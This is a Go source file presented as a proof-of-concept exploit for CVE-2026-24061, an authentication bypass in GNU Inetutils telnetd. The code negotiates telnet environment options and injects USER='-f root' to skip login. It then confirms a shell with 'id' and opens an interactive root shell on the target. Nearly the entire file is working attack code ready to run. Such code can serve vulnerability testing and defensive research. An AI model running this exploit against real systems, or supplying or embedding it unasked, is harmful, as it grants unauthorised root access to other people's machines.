// CVE-2026-24061 - GNU Inetutils telnetd Authentication Bypass // Telnet in 2026? I wasn't even born in '95 when SSH came out lol // Usage: go run poc.go package main import ( "bufio" "bytes" "fmt" "net" "os" "strings" "time" ) const ( Red, Green, Blue, Cyan, Reset = "\033[91m", "\033[92m", "\033[94m", "\033[96m", "\033[0m" ) const ( IAC, DONT, DO, WONT, WILL, SB, SE byte = 255, 254, 253, 252, 251, 250, 240 OptEcho, OptSGA, OptEnv, OptNewEnv = 1, 3, 36, 39 EnvIS, EnvSEND, EnvVAR, EnvVALUE = 0, 1, 0, 1 ) func main() { fmt.Printf("\n%s CVE-2026-24061%s - GNU Inetutils telnetd Auth Bypass\n\n", Red, Reset) if len(os.Args) < 3 { fmt.Printf("Usage: %s \n", os.Args[0]) os.Exit(1) } if !exploit(os.Args[1], os.Args[2]) { os.Exit(1) } } func exploit(host, port string) bool { addr := net.JoinHostPort(host, port) fmt.Printf("%s[*]%s Target: %s%s%s\n", Blue, Reset, Cyan, addr, Reset) conn, err := net.DialTimeout("tcp", addr, 10*time.Second) if err != nil { fmt.Printf("%s[-]%s Connection failed: %v\n", Red, Reset, err) return false } defer conn.Close() conn.SetDeadline(time.Now().Add(20 * time.Second)) fmt.Printf("%s[+]%s Connected\n", Green, Reset) n := &negot{conn: conn, user: "-f root", sent: map[int]bool{}} n.write(IAC, WILL, OptNewEnv) n.write(IAC, WILL, OptEnv) text := n.readFor(3 * time.Second) if !n.sent[OptNewEnv] { n.sendEnv(OptNewEnv) } text += n.readFor(2 * time.Second) conn.Write([]byte("\r\n")) text += n.readFor(2 * time.Second) if hasLogin(text) { fmt.Printf("%s[-]%s Login prompt - not vulnerable\n", Red, Reset) return false } if !n.echoOK { fmt.Printf("%s[-]%s No WILL ECHO - not vulnerable\n", Red, Reset) return false } conn.Write([]byte("id\r\n")) idOut := n.readFor(3 * time.Second) if hasLogin(idOut) || !strings.Contains(strings.ToLower(idOut), "uid=") { fmt.Printf("%s[-]%s Shell check failed\n", Red, Reset) return false } fmt.Printf("\n%s[+] VULNERABLE%s\n\n", Green, Reset) fmt.Print(text, idOut) shell(conn, n) return true } func shell(conn net.Conn, n *negot) { conn.SetDeadline(time.Time{}) // Remove global deadline for interactive mode done := make(chan bool, 1) go readLoop(conn, n, done) sc := bufio.NewScanner(os.Stdin) for sc.Scan() { cmd := sc.Text() if cmd == "exit" || cmd == "quit" { conn.Write([]byte("exit\r\n")) break } conn.Write([]byte(cmd + "\r\n")) } done <- true fmt.Printf("\n%s[*]%s Bye\n", Blue, Reset) } func readLoop(conn net.Conn, n *negot, done chan bool) { buf := make([]byte, 4096) for { select { case <-done: return default: conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond)) cnt, err := conn.Read(buf) if cnt > 0 { fmt.Print(norm(string(n.parse(buf[:cnt])))) } if err != nil && !isTimeout(err) { return } } } } type negot struct { conn net.Conn user string buf []byte sent map[int]bool echoOK bool } func (n *negot) write(b ...byte) { n.conn.Write(b) } func (n *negot) sendEnv(opt int) { if n.sent[opt] { return } p := []byte{IAC, SB, byte(opt), EnvIS, EnvVAR} p = append(p, "USER"...) p = append(p, EnvVALUE) p = append(p, n.user...) p = append(p, IAC, SE) n.conn.Write(p) n.sent[opt] = true fmt.Printf("%s[*]%s Injected USER=%s\n", Blue, Reset, n.user) } func (n *negot) readFor(d time.Duration) string { n.conn.SetReadDeadline(time.Now().Add(d)) var out []byte buf := make([]byte, 4096) for { cnt, err := n.conn.Read(buf) if cnt > 0 { out = append(out, n.parse(buf[:cnt])...) } if err != nil { break } } return norm(string(out)) } func (n *negot) parse(data []byte) []byte { n.buf = append(n.buf, data...) var out []byte i := 0 for i < len(n.buf) { if n.buf[i] != IAC { out = append(out, n.buf[i]) i++ continue } if i+1 >= len(n.buf) { break } cmd := n.buf[i+1] if cmd == IAC { out = append(out, IAC) i += 2 continue } if cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT { if i+2 >= len(n.buf) { break } n.handleCmd(cmd, n.buf[i+2]) i += 3 continue } if cmd == SB { end := bytes.Index(n.buf[i:], []byte{IAC, SE}) if end < 0 { break } if i+2 < len(n.buf) { n.handleSub(int(n.buf[i+2]), n.buf[i+3:i+end]) } i += end + 2 continue } i += 2 } n.buf = n.buf[i:] return out } func (n *negot) handleCmd(cmd, opt byte) { if cmd == DO && (opt == OptEnv || opt == OptNewEnv || opt == OptSGA) { n.write(IAC, WILL, opt) if opt == OptEnv { n.sendEnv(int(opt)) } return } if cmd == DO { n.write(IAC, WONT, opt) return } if cmd == WILL && opt == OptEcho { n.echoOK = true } if cmd == WILL && (opt == OptEcho || opt == OptSGA) { n.write(IAC, DO, opt) return } if cmd == WILL { n.write(IAC, DONT, opt) } } func (n *negot) handleSub(opt int, data []byte) { if (opt != OptEnv && opt != OptNewEnv) || len(data) == 0 || data[0] != EnvSEND { return } n.sendEnv(opt) } func hasLogin(s string) bool { for _, line := range strings.Split(strings.ToLower(s), "\n") { t := strings.TrimSpace(line) if strings.HasPrefix(t, "last login") { continue } if strings.HasSuffix(t, "login:") || strings.HasSuffix(t, "password:") { return true } } return false } func norm(s string) string { return strings.ReplaceAll(strings.ReplaceAll(s, "\r\n", "\n"), "\r", "\n") } func isTimeout(err error) bool { e, ok := err.(net.Error) return ok && e.Timeout() }